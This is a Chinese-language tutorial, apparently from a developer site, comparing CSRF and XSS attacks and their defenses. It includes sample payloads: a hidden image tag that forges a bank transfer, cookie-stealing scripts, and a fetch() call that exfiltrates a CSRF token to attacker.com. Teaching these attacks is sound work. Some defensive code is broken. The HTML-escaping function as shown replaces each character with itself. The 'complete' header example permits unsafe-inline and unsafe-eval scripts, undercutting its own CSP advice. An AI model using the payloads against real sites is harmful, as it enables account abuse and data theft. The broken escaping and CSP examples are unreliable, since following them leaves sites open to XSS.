CSRF 与 XSS 的区别
CSRF 与 XSS 的基本概念
CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的前端安全威胁。CSRF 利用用户已登录的身份,在用户不知情的情况下执行非预期的操作;XSS 则是通过注入恶意脚本到网页中,窃取用户数据或执行其他恶意行为。虽然两者都涉及"跨站"攻击,但攻击方式和防御手段完全不同。
CSRF 的攻击原理与示例
CSRF 攻击的核心是欺骗用户的浏览器,让其以用户的身份发送请求。攻击者通常会构造一个恶意链接或表单,当用户点击或访问时,浏览器会自动携带用户的认证信息(如 Cookie)发送请求。
<!-- 恶意网站上的代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">
假设用户已登录银行网站,访问包含上述代码的恶意页面时,浏览器会自动发送转账请求。由于请求携带了用户的会话 Cookie,服务器会认为这是用户自愿的操作。
XSS 的攻击原理与示例
XSS 攻击分为三种类型:存储型、反射型和 DOM 型。它们的共同点是将恶意脚本注入到网页中,当其他用户访问时执行这些脚本。
存储型 XSS 示例:
// 攻击者在评论框中输入
<script>stealCookie(document.cookie)</script>
反射型 XSS 示例:
// 攻击者构造恶意链接
https://example.com/search?q=<script>alert('XSS')</script>
DOM 型 XSS 示例:
<script>
// 从 URL 中获取参数并直接插入 DOM
document.write('<div>' + location.hash.substring(1) + '</div>');
</script>
攻击目标的差异
CSRF 主要针对的是服务器端的操作,攻击者利用的是用户对特定网站的信任。它不直接窃取数据,而是冒充用户执行操作,如修改密码、转账等。
XSS 则主要针对客户端,攻击者通过在受害者的浏览器中执行恶意脚本,可以:
- 窃取 Cookie 和会话信息
- 修改页面内容
- 重定向用户到恶意网站
- 记录键盘输入
防御措施的对比
CSRF 防御方法
- CSRF Token:服务器生成随机 Token 并嵌入表单,验证请求时检查 Token
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="随机字符串">
<!-- 其他表单字段 -->
</form>
- SameSite Cookie 属性:设置 Cookie 的 SameSite 属性为 Strict 或 Lax
Set-Cookie: sessionid=xxxx; SameSite=Lax; Secure
- 验证 Referer/Origin 头部:检查请求来源是否合法
XSS 防御方法
- 输入过滤和输出编码:
// 使用 HTML 实体编码
function escapeHtml(text) {
return text.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
- Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
- 使用安全的 DOM API:
// 不安全的
element.innerHTML = userInput;
// 安全的
element.textContent = userInput;
实际案例分析
2018 年某社交平台曾发生 CSRF 漏洞,攻击者构造特殊链接,用户点击后会自动关注特定账号。漏洞原因是关注操作仅依赖会话 Cookie 认证,没有 CSRF Token 保护。
同年,一个电商平台遭受存储型 XSS 攻击,攻击者在商品评价中注入恶意脚本,窃取了大量用户的支付信息。问题出在没有对用户输入进行充分过滤和编码。
组合攻击的可能性
CSRF 和 XSS 有时会组合使用形成更复杂的攻击。例如,攻击者先通过 XSS 获取 CSRF Token,然后利用该 Token 发起 CSRF 攻击。这种组合攻击更难防御,需要同时防范两种漏洞。
// 通过 XSS 窃取 CSRF Token
var token = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + token);
现代前端框架的防护
现代前端框架如 React、Vue 和 Angular 提供了一些内置防护:
- React 自动转义 JSX 中的变量
// 安全,userInput 会被转义
<div>{userInput}</div>
- Vue 的 v-bind 和双大括号语法也会自动转义
<!-- 安全 -->
<p>{{ userInput }}</p>
但开发者仍需注意:
- 使用 dangerouslySetInnerHTML (React) 或 v-html (Vue) 时的风险
- 动态生成的 URL 和样式可能导致的 XSS
测试与验证方法
检测 CSRF 漏洞:
- 检查关键操作是否缺少 CSRF Token
- 验证 SameSite Cookie 设置
- 尝试用 Burp Suite 等工具重放请求
检测 XSS 漏洞:
- 在所有用户输入点尝试注入基本 XSS 载荷
<script>alert(1)</script>
- 使用自动化工具如 OWASP ZAP 或 XSS Hunter
- 检查 CSP 实现是否完整
开发中的最佳实践
针对 CSRF:
- 为所有状态修改请求添加 CSRF 保护
- 避免使用 GET 请求进行状态修改
- 实现双重认证机制
针对 XSS:
- 对所有动态内容进行上下文相关的编码
- 实施严格的 CSP 策略
- 定期更新依赖库以修复已知漏洞
- 使用模板引擎而非字符串拼接构建 HTML
相关安全头部配置
完整的 HTTP 安全头部配置示例:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'
常见误区与澄清
- "使用了 HTTPS 就安全":HTTPS 仅保证传输安全,不能防止 CSRF 或 XSS
- "框架自动防护就足够了":框架提供基础防护,但开发者仍需注意边缘情况
- "输入过滤就够了":需要结合输出编码和上下文感知的净化
- "CSRF 只影响表单提交":任何状态修改请求都可能受影响,包括 API 调用
浏览器安全机制的演进
现代浏览器不断引入新特性增强防护:
- SameSite Cookie:Chrome 80+ 默认将 Cookie 设为 Lax
- Trusted Types API:限制危险的 DOM API 使用
// 启用 Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'
- Sanitizer API:提供内置的 HTML 净化功能
const sanitizer = new Sanitizer();
element.setHTML(userInput, { sanitizer });
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn
上一篇:CSRF 攻击的典型场景
下一篇:CSRF 攻击的危害